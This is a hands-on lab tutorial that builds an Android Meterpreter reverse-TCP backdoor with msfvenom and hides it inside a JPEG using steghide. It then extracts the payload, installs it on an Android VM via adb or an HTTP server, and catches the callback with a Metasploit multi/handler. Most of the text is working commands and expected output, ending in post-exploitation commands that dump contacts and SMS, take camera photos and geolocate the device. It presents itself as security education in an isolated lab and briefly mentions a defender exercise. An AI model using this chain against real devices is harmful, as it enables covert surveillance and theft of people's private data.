Steganography Meets Metasploit

Hide an Android backdoor inside a JPEG and exploit it with Metasploit.

Introduction

30 Second Summary

Imagine slipping a secret file inside a family photo so no one looking at it suspects a thing. That technique is called steganography, and real attackers use it to smuggle malware past security tools.

In this project, you will generate an Android backdoor with Metasploit, then hide it inside a normal JPEG image using steganography. You will extract the hidden payload on a target Android device and take full remote control through a live Meterpreter session.

What You'll Build

You will open a terminal, type a command, and watch as your Kali Linux machine takes over an Android device's camera, contacts, and GPS location through a payload that was hiding in plain sight inside a photo.

By the end of this project, you'll have:

A working Android backdoor hidden inside a JPEG that looks identical to the original photo, proving the payload is completely invisible to casual inspection.
A live remote Meterpreter session where you dump contacts, snap photos from the device camera, and geolocate the target from your Kali terminal.
A clear understanding of steganography's critical limitation: it conceals data during delivery but does NOT make it auto-execute on the target.
Secret Mission: Flip to the defender's side and brute-force detect your own hidden payload using stegcracker.

Are there any prerequisites?

You need a Kali Linux VM and an Android VM (or emulator) already running on the same virtual network. Metasploit comes pre-installed on Kali, so no extra framework setup is needed.

If you have not set up these VMs yet, complete a Kali Linux installation walkthrough and an Android emulator setup first.

Before We Start

Before we dive in, let's lock in what you're about to build and why it matters that you do it inside a controlled lab environment.

Set Up Your Tools and Network

In this project, you will chain two offensive security techniques together: payload generation and data concealment. Before any of that can happen, your tools need to be installed and your two virtual machines need to be able to communicate over the network.

This step gets your Kali Linux environment ready. You will update Metasploit, install steghide for hiding data inside images, and confirm that your Kali VM can reach your Android VM over the network.

In this step, get ready to:

Update and verify Metasploit Framework.
Install and verify steghide.
Confirm network connectivity between your Kali and Android VMs.

Update Metasploit and verify it is working

Metasploit Framework comes pre-installed on Kali Linux, but you should update it to make sure you have the latest modules and bug fixes.

Open a terminal in your Kali VM by right-clicking the desktop and selecting Open Terminal Here, or by clicking the terminal icon in the top taskbar.
Update your package list and install the latest Metasploit Framework by running this command:

sudo apt update && sudo apt install metasploit-framework

What does this command do?

This is two commands chained together. sudo apt update refreshes your list of available packages from Kali's repositories. sudo apt install metasploit-framework installs or upgrades the Metasploit Framework to the newest available version.

If prompted with "Do you want to continue? [Y/n]", press Enter to confirm.

You should see apt download and install package updates, finishing with a confirmation that Metasploit is at the latest version.

Verify Metasploit is working by running this command:

msfconsole -v

You should see output showing the framework version, something like "Framework: 6.4.x" with a specific build number.

✔️ I see a Framework version number

Metasploit is ready to go. Move on to the next substep.

ⓧ Command not found

The install may not have completed successfully.

Run sudo apt install metasploit-framework -y again and watch for any error messages.
If you see connection errors, check that your Kali VM has internet access by running ping google.com.

Accidentally opened the full console?

If you ran msfconsole without the -v flag, it opens the full interactive console. Type exit and press Enter to return to your normal terminal.

Install steghide

Steghide is the tool you will use to embed your payload inside an image file. It supports JPEG, BMP, WAV, and AU formats, and encrypts embedded data with rijndael-128 (AES) by default.

Install steghide by running this command:

sudo apt install steghide -y

What does the -y flag do?

The -y flag automatically answers "yes" to the install confirmation prompt. Without it, apt would pause and ask you to confirm before downloading.

Verify steghide installed correctly by running this command:

steghide --version

You should see:

steghide version 0.5.1

✔️ I see steghide version 0.5.1

Steghide is installed and ready. Move on to the next substep.

ⓧ Command not found or install failed

Run sudo apt update first to refresh your package lists, then retry sudo apt install steghide -y.
If you see "Unable to locate package steghide", your Kali installation may not be using the kali-rolling repository. Check your /etc/apt/sources.list file to confirm it includes the kali-rolling source.

Still not working?

help me troubleshoot steghide installation on Kali Linux

Verify network connectivity between Kali and Android VM

Your Kali machine needs to reach the Android VM over the network for the reverse connection to work later. You will note both IP addresses now and confirm they can communicate.

Find your Kali IP address by running this command:

ip addr

Look for an interface like eth0 or ens33 and note the IP address next to inet (something like 192.168.x.x). Write this down. You will need it in the next step.

On your Android VM, find its IP address. Navigate to Settings > About Phone > Status and look for the IP address field.

Alternative way to find Android IP

If your Android VM has a terminal emulator app installed, you can open it and run ifconfig to see the IP address.

Before you run the next command, do you think your Kali machine will be able to reach the Android VM? Both VMs should be on the same virtual network.

Test the connection from Kali to the Android VM by running this command:

ping -c 4 [[ANDROID_IP="your Android VM IP address"]]

What does this command do?

The ping command sends small packets to the target IP and waits for a reply. The -c 4 flag limits it to 4 packets so it stops automatically instead of running forever.

You should see four replies with round-trip times, confirming that both VMs can communicate.

✔️ I see replies from the Android IP

Your network is set up correctly. Both machines can communicate and you are ready to generate your payload.

ⓧ I see 100% packet loss or destination unreachable

Check that both VMs are on the same virtual network in your hypervisor settings (VirtualBox, VMware, or your platform of choice).
Verify both VMs use the same network mode. They should both be set to NAT Network or Host-Only (not plain NAT, which isolates each VM).
Restart both VMs after changing network settings, then re-run ip addr on Kali to confirm the IP is still in the same subnet as the Android VM.

Still no connection?

help me troubleshoot network connectivity between my Kali and Android VMs

Your tools are installed and your lab network is confirmed. Next up, you will generate the Android payload that opens a reverse connection back to your Kali machine.

Generate the Android Payload

Your lab is connected and your tools are ready. Now you need the actual weapon: a malicious APK that will open a backdoor into the Android device.

Metasploit's msfvenom utility generates custom payloads for any target platform. In this step, you'll produce a reverse-TCP Android backdoor that phones home to your Kali machine the moment it runs.

In this step, get ready to:

Generate an Android reverse TCP payload with msfvenom.
Inspect the payload file to confirm its type and note its size.

Generate the APK payload with msfvenom

The msfvenom tool takes a payload type, your listening IP, and a port number and produces an installable Android APK. When executed on the target, this APK opens a reverse connection back to your Kali machine.

Generate your Android Meterpreter payload by running this command:

msfvenom -p android/meterpreter/reverse_tcp LHOST=[[KALI_IP="your Kali IP address from Step 1"]] LPORT=4444 -o payload.apk

What does this command do?

-p android/meterpreter/reverse_tcp selects the payload type: an Android Meterpreter shell that connects back to you.
LHOST is your Kali IP address. The target device will connect back to this address.
LPORT=4444 is the port your listener will use. 4444 is Metasploit's conventional default.
-o payload.apk saves the output as an installable Android package file.

You should see several informational lines followed by a confirmation like Payload size: 10232 bytes. The exact byte count may vary slightly depending on your Metasploit version.

Not seeing payload output?

Make sure the payload name is spelled exactly: android/meterpreter/reverse_tcp. A typo here causes a "Framework payload not found" error.
Confirm your LHOST value is a valid IP address with no extra spaces. Copy it directly from your ip addr output in Step 1.
If you see a permissions error writing the file, add sudo before the command or switch to a directory where you have write access.

Why isn't my msfvenom payload generating?

Inspect the generated file

Before you hide this payload inside an image, you need to confirm it was generated correctly. You also need its exact file size because the cover image must have enough steganographic capacity to embed it.

Confirm the payload is a valid Android package by running:

file payload.apk

You should see output identifying it as a Zip archive or Android package. APK files are Zip archives containing the compiled app resources.

Before you run the next command, predict: how large do you think a Meterpreter backdoor is? A full-sized Android app, or something much smaller?

Check the exact file size by running:

ls -la payload.apk

You should see payload.apk listed with a size around 10,188 bytes (approximately 10 KB). This is tiny compared to a normal app.

Why does size matter here?

Steganography hides data inside the unused bits of a cover file. A JPEG image can only hold a fraction of its own size as hidden data. A 10 KB payload needs a cover image of at least 200 KB to embed safely.

This is why the staged reverse_tcp payload was chosen. It keeps the APK small (~10 KB) compared to a stageless payload that would be much larger and harder to embed.

File not found?

Make sure you are in the same directory where you ran the msfvenom command. Run ls to list files in your current directory.
If you used a different output filename in the earlier command, substitute that filename in the commands above.

Why can't I find my payload.apk file?

Your backdoor is ready and waiting. Next up, you'll make it invisible by hiding it inside an ordinary photo using steganography.

Hide the Payload in an Image

You now have a working Android backdoor sitting in your directory as payload.apk. The problem is obvious. Anyone who sees a file called payload.apk knows something suspicious is going on.

Steganography solves this by hiding data inside ordinary media files. You will embed the APK inside a normal JPEG photo so it looks completely innocent to anyone browsing the file system. The catch is that every image has a limited embedding capacity. If your cover image is too small, the embed fails.

In this step, get ready to:

Find a suitable JPEG cover image and check its embedding capacity.
Embed your payload inside the image using steghide.
Verify the stego image looks normal and confirm the hidden data is retrievable.

Download or find a cover image and check its capacity

Steghide can only embed data into JPEG, BMP, WAV, or AU files. You need a JPEG image whose embedding capacity exceeds the size of your payload (~10 KB).

List the available JPEG backgrounds on your Kali system by running:

ls /usr/share/backgrounds/kali/

You should see several image files. Look for any .jpg files in the output.

Copy one of the JPEG files to your working directory as cover.jpg by running:

cp /usr/share/backgrounds/kali/kali-maze-16x9.jpg cover.jpg

No JPEG backgrounds found?

If your Kali install does not have JPEG backgrounds, download any JPEG from the internet. A large photo (500 KB or more) works well. You can use wget with any image URL and save it as cover.jpg.

Check the cover image's embedding capacity by running:

steghide info cover.jpg

What does this output tell you?

The output shows the image format, dimensions, and a capacity line. Capacity is the maximum amount of data steghide can hide inside this specific image.

Your payload.apk is roughly 10 KB. The capacity must be larger than that. A desktop wallpaper (1920x1080 JPEG) typically offers several hundred KB of capacity, which is more than enough.

Confirm the cover image is large enough by running:

ls -la cover.jpg

Your cover.jpg should be at least 500 KB. If it is smaller, the embed in the next substep will fail.

Capacity is smaller than your payload?

If steghide info reports a capacity smaller than ~10 KB, your image is too small. Find or download a larger JPEG (at least 500 KB file size) and copy it to cover.jpg.

help me find a JPEG image large enough to embed my payload with steghide

Embed the payload inside the image

Now you will hide payload.apk inside cover.jpg to produce a new file called stego.jpg. Steghide encrypts the embedded data with a passphrase, so anyone who tries to extract it needs that passphrase.

Before you run this, do you think the embed will succeed given the capacity you just checked? What would happen if your image were too small?

Embed the payload into the cover image by running:

steghide embed -cf cover.jpg -ef payload.apk -sf stego.jpg -p "yourpassphrase"

You should see the output: embedding "payload.apk" in "cover.jpg"... done.

What do these flags mean?

-cf specifies the cover file (your original image).
-ef specifies the embed file (the payload you are hiding).
-sf specifies the stego output file (the new image with hidden data).
-p sets the passphrase used to encrypt the embedded data with rijndael-128 (AES) in CBC mode.

Seeing "the cover file is too short to embed the data"?

This error means your cover image does not have enough capacity. Your JPEG must be larger. Find or download a JPEG file of at least 500 KB, copy it to cover.jpg, and run the embed command again.

As a rule of thumb, the cover file should be roughly 20x larger than the embedded file. For a ~10 KB payload, a 500 KB+ JPEG gives comfortable margin.

Confirm the stego file was created by running:

ls -la stego.jpg

You should see stego.jpg listed with a file size similar to your original cover.jpg.

stego.jpg not created?

Make sure you typed the passphrase correctly (it is case-sensitive). Verify that cover.jpg and payload.apk both exist in your current directory by running ls.

help me troubleshoot why steghide embed is not creating my stego output file

Verify the stego image looks normal and contains hidden data

The whole point of steganography is invisibility. The stego image should look identical to the original cover image. Let's confirm this visually and then prove the hidden data is actually inside.

Open the stego image in an image viewer by running:

xdg-open stego.jpg

The image should look completely identical to the original. There is no visual artifact, watermark, or distortion. A human eye cannot tell the difference.

Why does it look the same?

Steghide works by modifying the least significant bits of the image data. These tiny changes are invisible to the human eye but store your embedded file. The image's visual appearance is preserved while carrying hidden data.

Now for the real proof. Before you run the next command, predict what information steghide will report about your stego file when you provide the correct passphrase.

Confirm the hidden data exists inside stego.jpg by running:

steghide info stego.jpg

When prompted, enter your passphrase (yourpassphrase or whatever you chose).

You should see output reporting an embedded file named payload.apk with its size, encryption method (rijndael-128, cbc), and compression status. This confirms your payload is successfully concealed inside the image.

What is rijndael-128 cbc?

Rijndael-128 is the algorithm behind AES (Advanced Encryption Standard). CBC stands for Cipher Block Chaining, a mode that makes each encrypted block depend on the previous one. Steghide applies this encryption automatically to protect the embedded data, so even if someone suspects hidden content, they cannot extract it without the passphrase.

steghide info does not show embedded data?

If steghide reports no embedded data, you may have entered the wrong passphrase. The passphrase is case-sensitive and must match exactly what you used during embedding. Try running the command again and carefully enter the same passphrase.

help me figure out why steghide info is not detecting embedded data in my stego image

You have successfully hidden a fully functional Android backdoor inside an ordinary-looking JPEG photo. Next, you will extract the payload on the target device and deploy it.

Extract and Deploy to the Android VM

Your payload is now hidden inside stego.jpg. It looks like an innocent photo to anyone who opens it. But steganography only conceals data during transit. On the receiving end, someone still needs to extract the hidden file and run it manually.

In this step, you will simulate that receiving end. You will extract the payload from the stego image, transfer it to your Android VM, and install it as an app.

In this step, get ready to:

Extract the hidden payload from the stego image and verify its integrity.
Transfer and install the APK on your Android VM.
Confirm the app appears in the app drawer without launching it.

Extract the payload from the stego image

Imagine you received stego.jpg as an attachment. To a casual observer it is just a photo. But you know the passphrase, so you can pull out the hidden file.

Extract the embedded payload by running this command:

steghide extract -sf stego.jpg -p "yourpassphrase"

You should see: wrote extracted data to "payload.apk".

What does this command do?

The -sf flag tells steghide which stego file to read from. The -p flag provides the passphrase used during embedding. Without the correct passphrase, the data stays locked behind rijndael-128 encryption.

Now you need to confirm that the extracted file is identical to the original. Before you run the next command, do you think the two hashes will match exactly?

Verify the extracted file's integrity by running:

md5sum payload.apk

The hash should be identical to the one you saw when you first generated the payload in Step 2. Steganography preserves the embedded file bit-for-bit, so extraction produces an exact copy.

Seeing 'could not extract any data' error?

Double-check that you typed the passphrase exactly as you set it during embedding. Passphrases are case-sensitive.

Make sure you are running the command in the same directory where stego.jpg is located. Run ls stego.jpg to confirm.

Help me troubleshoot steghide extraction failures

Transfer the APK to the Android VM

You have the raw APK on your Kali machine. Now you need to get it onto the Android VM and install it. There are two common methods depending on your lab setup.

Transfer with ADB

ADB (Android Debug Bridge) lets you install APKs directly from the command line. Use this method if ADB is available on your Kali machine and the Android VM supports ADB connections.

Connect to your Android VM over the network by running:

adb connect [[ANDROID_IP="your Android VM IP address"]]

You should see a message confirming the connection succeeded.

Install the payload APK directly by running:

adb install payload.apk

You should see Success in the output. If you see an error about unknown sources, proceed to the next bullet.

If the install fails due to security restrictions, enable Install from unknown sources on the Android VM. Go to Settings then Security and toggle Unknown sources on. Then retry the adb install command.

Transfer with HTTP server

If ADB is not available, you can serve the file over HTTP from Kali and download it on the Android VM's browser.

Start a simple HTTP server in the directory containing payload.apk by running:

python3 -m http.server 8080

What does this command do?

This starts a web server on port 8080 that serves all files in the current directory. It will keep running until you press Ctrl+C. Leave it running for now.

On the Android VM, open the browser app.
Navigate to the following URL (replace the IP with your Kali IP):

http://[[KALI_IP="your Kali IP address"]]:8080/payload.apk

The browser will download the APK file. Tap the downloaded file to begin installation.
If prompted, enable Install from unknown sources in Settings then Security. Then retry the installation.
Once installation completes, go back to your Kali terminal and press Ctrl+C to stop the HTTP server.

Installation failing on the Android VM?

Make sure Unknown sources is enabled in the Android VM's security settings. Without this, the system blocks all APKs that did not come from the Play Store.

If using the HTTP method and the download does not start, confirm your Kali IP is correct and that the Python server is still running. Check the Kali terminal for incoming request logs.

Help me troubleshoot APK installation on my Android VM

Confirm the app is installed but do NOT open it yet

The payload is now sitting on the Android device as a regular app. Before you tap it, think about what will happen. The payload is a reverse TCP connection. Where will it try to connect?

On the Android VM, swipe up or tap the app drawer icon to open the full list of installed apps.
Look for an app named MainActivity or Main Activity. This is your installed payload.
Do NOT tap the app yet.

Do not launch the app without a listener

If you tap the app now, it will try to open a reverse TCP connection back to your Kali machine on port 4444. Since no listener is running yet, the connection will fail silently. The app will appear to do nothing and you would need to re-launch it after starting the listener.

Why doesn't steganography auto-execute the payload?

This is a critical distinction many tutorials gloss over. Steganography is a concealment technique, not an exploitation technique. It hides data inside carrier files, but the hidden data does not run on its own.

The recipient must know the file contains hidden data, have the passphrase, extract it with a tool like steghide, and then manually execute the result. In a real attack, social engineering covers that gap.

Your payload is deployed and waiting. In the next step, you will set up a Metasploit listener on Kali, launch the app on the Android VM, and watch a live Meterpreter session open up with full remote control.

Get a Meterpreter Session

Your payload is installed on the Android VM, sitting silently in the app drawer. It is completely dormant right now. Without a listener waiting on your Kali machine to accept the incoming connection, launching the app does nothing.

In this step, you'll fire up Metasploit's multi/handler to listen for the reverse TCP connection, then launch the payload on the Android device. The moment the app runs, it dials back to your Kali machine and opens a live Meterpreter session with full remote control.

In this step, get ready to:

Start the Metasploit multi/handler listener on Kali.
Launch the payload app on the Android VM and establish a session.
Run post-exploitation commands to explore the compromised device.

Start the Metasploit listener

The payload you installed on the Android VM is configured to connect back to your Kali IP on port 4444. You need a handler actively listening on that port before the app launches.

Open a new terminal on your Kali machine.
Launch the Metasploit console by running:

msfconsole

Wait for the banner and the msf6 > prompt to appear. This can take 10-30 seconds.

Configure the handler by entering these commands one at a time at the msf6 > prompt:

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST [[KALI_IP="your Kali IP address"]]
set LPORT 4444
exploit

What do these commands do?

use exploit/multi/handler loads a generic listener that catches incoming connections from any Metasploit payload.
set payload tells the handler what type of session to expect (your Android reverse TCP payload).
set LHOST and set LPORT match the IP and port baked into the payload during generation.
exploit starts the listener and waits for the Android device to connect.

You should see output confirming the handler is active. Look for a line that says:

[*] Started reverse TCP handler on <your-kali-ip>:4444

Handler not starting?

If you see an error about the address already being in use, another process is occupying port 4444. Kill it with lsof -i :4444 to find the PID, then kill <PID>.
Double-check that your LHOST matches the Kali IP you confirmed in Step 1. A typo here means the handler listens on the wrong interface.

help me troubleshoot my Metasploit handler not starting

Launch the app on the Android VM and get the session

The listener is ready. Now the Android app needs to run so it initiates the reverse connection back to Kali.

Before you tap the app, think about this: do you expect the connection to succeed immediately, or will something go wrong? What exactly should appear in your Metasploit terminal if it works?

On the Android VM, open the app drawer and tap the MainActivity app.

Switch back to your Kali terminal. Within a few seconds you should see:

[*] Meterpreter session 1 opened (<kali-ip>:4444 -> <android-ip>:<port>) at <timestamp>

You now have a live meterpreter > prompt. This means the Android device is under your remote control.

Session not opening?

Confirm both VMs are still on the same virtual network. Run ping from Kali to the Android IP again.
Make sure LHOST in your handler matches the IP the payload was generated with. If they differ, the Android app is trying to connect to a different address.
Check that no firewall on Kali is blocking port 4444. Run iptables -L to verify.
If the app crashed immediately on launch, the Android emulator SDK version may be incompatible. Try restarting the app.

help me get my Meterpreter session to open

Explore post-exploitation commands

With the meterpreter > prompt active, you have a wide range of post-exploitation commands at your fingertips. These let you interact with the compromised device as if you were holding it.

Start by confirming the connection with this command:

sysinfo

This prints the Android version, device name, and architecture of the compromised device. If you see these details, your session is fully functional.

Try at least 2 more commands from this list to explore the device:

dump_contacts

webcam_list

geolocate

What do these commands do?

sysinfo shows the Android version, device name, and Meterpreter type.
dump_contacts extracts all contacts stored on the device and saves them to a local file on Kali.
dump_sms pulls all SMS messages from the device.
webcam_list shows available cameras on the device (front, back).
webcam_snap -i 1 takes a photo from camera 1.
geolocate retrieves the device's GPS coordinates.
check_root reports whether the device has root access.

Some commands may return empty results

On Android 6.0 and above, runtime permissions may prevent commands like dump_sms or webcam_snap from returning data. The emulator may not have contacts, SMS, or GPS data loaded. This is normal in a lab environment. The commands still execute, proving you have access.

Run at least 3 commands total (including sysinfo) and observe the output from each one.

You have just taken full remote control of an Android device through a reverse TCP connection. The sysinfo output confirms your session is live, and the other commands demonstrate the scope of access an attacker gains once a payload executes.

Secret mission

Become the Defender

You have built the attacker's concealment chain from start to finish. Now flip to the other side. Can a defender detect and crack your hidden payload using brute-force tools? Install stegcracker and find out how quickly your own steganography falls apart.

Clean Up Your Resources

This project runs entirely in your local VMs, so there are no ongoing cloud costs or subscription charges. Decide whether to keep your resources running, pause them to come back later, or delete them entirely.

Resources you used:

Active Meterpreter session in msfconsole.
payload.apk installed on the Android VM as "MainActivity".
Generated files on Kali: payload.apk, cover.jpg, stego.jpg, wordlist.txt.
steghide and stegcracker installed via apt on Kali.

Keep everything running

No action needed. Choose this if you are still actively experimenting with steganography or Metasploit in your lab.

Your Meterpreter session stays open as long as both VMs are running and the app remains active.
steghide and stegcracker remain installed and ready for future use.
All generated files stay in your current working directory on Kali.

Pause - I'll come back to this later

Shut down the active session and stop running processes to free up memory. Your files and installed tools stay on disk.

In your Meterpreter session, type exit to close the session.
In the msfconsole prompt, type exit to quit Metasploit.
If you started a Python HTTP server for file transfer, press Ctrl+C in that terminal to stop it.
Save the state of both VMs (suspend or snapshot) so you can resume later without reinstalling anything.

Delete - I don't want to use this again

Remove all project resources from both VMs and uninstall the tools you added.

Close the Meterpreter session and msfconsole by typing exit twice (once for the session, once for the console).
On the Android VM, open Settings, then Apps. Find MainActivity, tap it, and tap Uninstall to remove the payload app.
On Kali, remove all generated project files by running:

rm -f payload.apk cover.jpg stego.jpg wordlist.txt

Uninstall steghide and stegcracker by running:

sudo apt remove steghide stegcracker -y && sudo apt autoremove -y

If stegcracker extracted a file during the Secret Mission (e.g. a .out file), remove that as well by running:

rm -f stego.jpg.out

Confirm the files are gone by running:

ls payload.apk cover.jpg stego.jpg wordlist.txt stego.jpg.out 2>&1

You should see errors indicating the files do not exist. Your Kali VM is now clean of all project artifacts.

Nice Work!

You just chained two offensive security techniques together in your own lab. You generated a working Android backdoor, concealed it inside an innocent photo, deployed it to a target device, and took full remote control through a live Meterpreter session.

You've learned how to:

Generated an Android reverse TCP payload with msfvenom and concealed it inside a normal JPEG using steganography with steghide.
Deployed the hidden payload to a target Android VM and established a live Meterpreter session with full post-exploitation capabilities including contacts, camera, GPS, and SMS access.
Understood the critical limitation of steganography as a concealment technique. It hides data during transit but does not auto-execute the payload on the target.
Secret Mission: Flipped to the defender's perspective and used stegcracker to brute-force detect your own hidden payload inside the stego image.

Ready to quiz yourself?